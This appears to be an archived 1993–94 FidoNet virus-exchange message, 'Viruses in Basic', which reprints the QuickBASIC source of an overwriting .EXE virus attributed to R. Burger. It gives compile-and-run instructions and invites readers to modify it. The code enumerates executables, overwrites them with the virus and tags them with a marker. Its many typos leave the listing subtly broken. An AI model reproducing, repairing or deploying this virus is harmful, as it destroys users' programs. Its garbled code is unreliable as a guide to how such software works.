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123 lines
4.2 KiB
QBasic
123 lines
4.2 KiB
QBasic
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
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; Msg : 4 of 54
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; From : MeteO 2:5030/136 Tue 09 Nov 93 09:11
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;To : - *.* - Fri 11 Nov 94 08:10
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; Subj : BURG_VIR.BAS
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;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
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;.RealName: Max Ivanov
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;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
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;* Kicked-up by MeteO (2:5030/136)
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;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
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;* From : Viral Doctor, 2:283/718 (06 Nov 94 16:19)
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;* To : Mark Hapershaw
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;* Subj : BURG_VIR.BAS
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;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
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;@RFC-Path:
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;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
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;18.n283!not-for-mail
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;@RFC-Return-Receipt-To: Viral.Doctor@f718.n283.z2.fidonet.org
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; Viruses in Basic
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; ----------------
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;
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;
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;Basic is great language and often people think of it as a limited language
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;and will not be of any use in creating something like a virus. Well you are
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;really wrong. Lets take a look at a Basic Virus created by R. Burger in 1987.
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;This program is an overwritting virus and uses (Shell) MS-DOS to infect .EXE
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;files.To do this you must compile the source code using a the Microsoft
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;Quick-BASIC.Note the lenght of the compiled and the linked .EXE file and edit
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;the source code to place the lenght of the object program in the LENGHTVIR
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;variable. BV3.EXE should be in the current directory, COMMAND.COM must be
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;available, the LENGHTVIR variable must be set to the lenght of the linked
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;
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;program and remember to use /e parameter when compiling.
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10 REM ** DEMO
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20 REM ** MODIFY IT YOUR OWN WAY IF DESIRED **
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30 REM ** BASIC DOESNT SUCK
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40 REM ** NO KIDDING
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50 ON ERROR GOTO 670
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60 REM *** LENGHTVIR MUST BE SET **
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70 REM *** TO THE LENGHT TO THE **
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80 REM *** LINKED PROGRAM ***
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90 LENGHTVIR=2641
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100 VIRROOT$="BV3.EXE"
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110 REM *** WRITE THE DIRECTORY IN THE FILE "INH"
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130 SHELL "DIR *.EXE>INH"
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140 REM ** OPEN "INH" FILE AND READ NAMES **
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150 OPEN "R",1,"INH",32000
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160 GET #1,1
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170 LINE INPUT#1,ORIGINAL$
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180 LINE INPUT#1,ORIGINAL$
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190 LINE INPUT#1,ORIGINAL$
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200 LINE INPUT#1,ORIGINAL$
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210 ON ERROR GOT 670
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220 CLOSE#2
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230 F=1:LINE INPUT#1,ORIGINAL$
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240 REM ** "%" IS THE MARKER OF THE BV3
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250 REM ** "%" IN THE NAME MEANS
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260 REM ** INFECTED COPY PRESENT
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270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210
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280 ORIGINAL$=MID$(ORIGINAL$,1,13)
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290 EXTENSIONS$=MID$(ORIGINAL,9,13)
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300 MID$(EXTENSIONS$,1,1)="."
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310 REM *** CONCATENATE NAMES INTO FILENAMES **
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320 F=F+1
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330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THEN
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GOTO 350
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340 GOTO 320
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350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$
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360 ON ERROR GOTO 210
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365 TEST$=""
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370 REM ++ OPEN FILE FOUND +++
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380 OPEN "R",2,OROGINAL$,LENGHTVIR
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390 IF LOF(2) < LENGHTVIR THEN GOTO 420
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400 GET #2,2
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410 LINE INPUT#1,TEST$
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420 CLOSE#2
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431 REM ++ CHECK IF PROGRAM IS ILL ++
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440 REM ++ "%" AT THE END OF THE FILE MEANS..
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450 REM ++ FILE IS ALREADY SICK ++
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460 REM IF MID$(TEST,2,1)="%" THEN GOTO 210
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470 CLOSE#1
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480 ORIGINALS$=ORIGINAL$
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490 MID$(ORIGINALS$,1,1)="%"
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499 REM ++++ SANE "HEALTHY" PROGRAM ++++
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510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$
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520 SHELL C$
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530 REM *** COPY VIRUS TO HEALTHY PROGRAM ****
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540 C$="COPY "+VIRROOT$+ORIGINAL$
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550 SHELL C$
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560 REM *** APPEND VIRUS MARKER ***
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570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13
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580 WRITE#1,ORIGINALS$
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590 CLOSE#1
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630 REM ++ OUYPUT MESSAGE ++
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640 PRINT "INFECTION IN " ;ORIGIANAL$; " !! BE WARE !!"
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650 SYSTEM
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660 REM ** VIRUS ERROR MESSAGE
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670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM
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680 END
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;This basic virus will only attack .EXE files. After the execution you will
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;see a "INH" file which contains the directory, and the file %SORT.EXE.
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;Programs which start with "%" are NOT infected ,they pose as back up copies.
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;
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;-+- DinoMail v.1.0 Alpha
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; + Origin: Virus Research Centre Holland (2:283/718)
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;=============================================================================
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;
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;Yoo-hooo-oo, -!
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;
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;
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; þ The MeÂeO
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;
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;/Txx Specify output file type
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;
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;--- Aidstest Null: /Kill
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; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
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